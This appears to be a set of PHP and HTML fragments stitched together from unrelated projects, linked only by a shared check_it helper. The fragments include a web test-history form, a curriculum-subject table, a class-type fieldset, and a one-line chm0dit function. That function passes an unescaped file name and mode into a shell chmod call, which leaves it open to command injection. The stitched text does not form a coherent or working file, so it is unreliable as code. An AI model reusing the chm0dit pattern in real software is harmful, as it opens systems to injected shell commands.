<?php } if ($includePrivate) { echo '<input id="private" type="hidden" name="private" value="1">'; } ?> <label><input id="video" type="checkbox" name="video" <?php check_it($onlyVideo); ?> onclick="this.form.submit();"> Only list tests that include video</label> <label><input id="repeat" type="checkbox" name="repeat" <?php check_it($repeat); ?> onclick="this.form.submit();"> Show repeat view</label> <label><input id="nolimit" type="checkbox" name="nolimit" <?php check_it($nolimit); ?> onclick="this.form.submit();"> Do not limit the number of results (warning, WILL be slow)</label> </form> <h4>Clicking on an url will bring you to the results for that test</h4> <form name="compare" method="get" action="/video/compare.php"> <table class="history" border="0" cellpadding="5px" cellspacing="0"> <tr> <th style="text-decoration: none;" ><input style="font-size: 70%; padding: 0;" id="CompareBtn" type="submit" value="Compare"></th> <th>Date/Time</th> <th>From</th> <?php if ($includeip) { echo '<th>Requested By</th>'; }
</thead> <tbody> <?php if ($curriculum_subjects && is_array($curriculum_subjects) && count($curriculum_subjects) > 0) { foreach ($curriculum_subjects as $csi => $csinfo) { echo '<tr>'; $seminfo = $csinfo->getSemesterinfo(); $yearlevelinfo = $csinfo->getYearlevelinfo(); $subjectinfo = $csinfo->getSubjectinfo(); echo '<td class="padding-right-0 "> '; echo '<a target-id="check-curriculum-' . $csinfo->getCurriculumid() . '-subject-' . $csinfo->getCurriculumsubjectid() . '" target-name="curriclumSubject" class="check-curriculum-' . $csinfo->getCurriculumid() . '-subject-' . $csinfo->getCurriculumsubjectid() . '-link check-link">'; echo ' <span class="glyphicon glyphicon-' . (is_checked("curriclumSubject", $csinfo->getCurriculumsubjectid()) || is_checked("checkAllcurriculumsubjects", $curriculum_subjects_count) ? "check" : "unchecked") . '"></span>'; echo ' </a>'; echo '<div class="sr-only">'; echo '<input name="curriclumSubject[]" input-name="curriclumSubject" type="checkbox" id="check-curriculum-' . $csinfo->getCurriculumid() . '-subject-' . $csinfo->getCurriculumsubjectid() . '" class="curriculum-subject check" value="' . $csinfo->getCurriculumsubjectid() . '" ' . check_it("curriclumSubject", $csinfo->getCurriculumsubjectid(), is_checked("checkAllcurriculumsubjects", $curriculum_subjects_count)) . '>'; echo '</div>'; echo '</td>'; echo '<td>' . ($subjectinfo ? $subjectinfo->subject_code : "") . '</td>'; echo '<td>' . ($subjectinfo ? $subjectinfo->subject_description : "") . '</td>'; echo '<td>' . ($csinfo ? $csinfo->unit : "") . '</td>'; if ($class_types && is_array($class_types) && count($class_types) > 0) { foreach ($class_types as $typei => $typeinfo) { $curriculumsubjecttypeinfo = $csinfo->getCurriculumsubjecttype($typeinfo->getClasstypeid()); echo '<td>'; echo $curriculumsubjecttypeinfo ? $curriculumsubjecttypeinfo->unit : "0"; echo '</td>'; } } echo '<td>' . ($seminfo ? ucfirst($seminfo->sem_description) : "") . '</td>'; echo '<td>' . ($yearlevelinfo ? $yearlevelinfo->yearlevel_code : "") . '</td>';
function chm0dit($file, $chmod1, $chmod2) { if (check_it("chmod")) { chmod($file, $chmod1); } else { evalRel("chmod {$chmod2} {$file}"); } }
<fieldset> <legend> Subject Class <div class="pull-right"> <a targets-name="curriculum-subject-classtype" target-name="checkAllcurriculumsubjectclasstypes" target-id="check-all-curriculum-subject" id="checkAllcurriculumsubjectclasstypes-link" class="custom-link-info check-all-curriculumsubjectclasstypes-link check-all-link"> <small><span class="glyphicon glyphicon-<?php echo is_checked("checkAllcurriculumsubjectclasstypes", 0) ? "check" : "unchecked"; ?> "></span> Select All </small> </a> <div class="sr-only"> <input name="checkAllcurriculumsubjectclasstypes" input-name="checkAllcurriculumsubjectclasstypes" type="checkbox" id="check-all-curriculum-subject" class="check-all" value="<?php echo $class_types_count; ?> " <?php echo check_it("checkAllcurriculumsubjectclasstypes", $curriculum_subjects_classtypes_count); ?> > </div> </div> </legend> <div class="row"> <div class="col-md-10 col-md-offset-1"> <?php if ($class_types && is_array($class_types) && count($class_types) > 0) { foreach ($class_types as $typei => $typeinfo) { $hasCurriculumsubjecttype = $curriculumsubjectinfo ? $curriculumsubjectinfo->hasCurriculumsubjecttype($typeinfo->getClasstypeid()) : false; $curriculumsubjecttypeinfo = $curriculumsubjectinfo ? $curriculumsubjectinfo->getCurriculumsubjecttype($typeinfo->getClasstypeid()) : false; if ($hasCurriculumsubjecttype) { $defaultschecked[] = $typeinfo->getClasstypeid();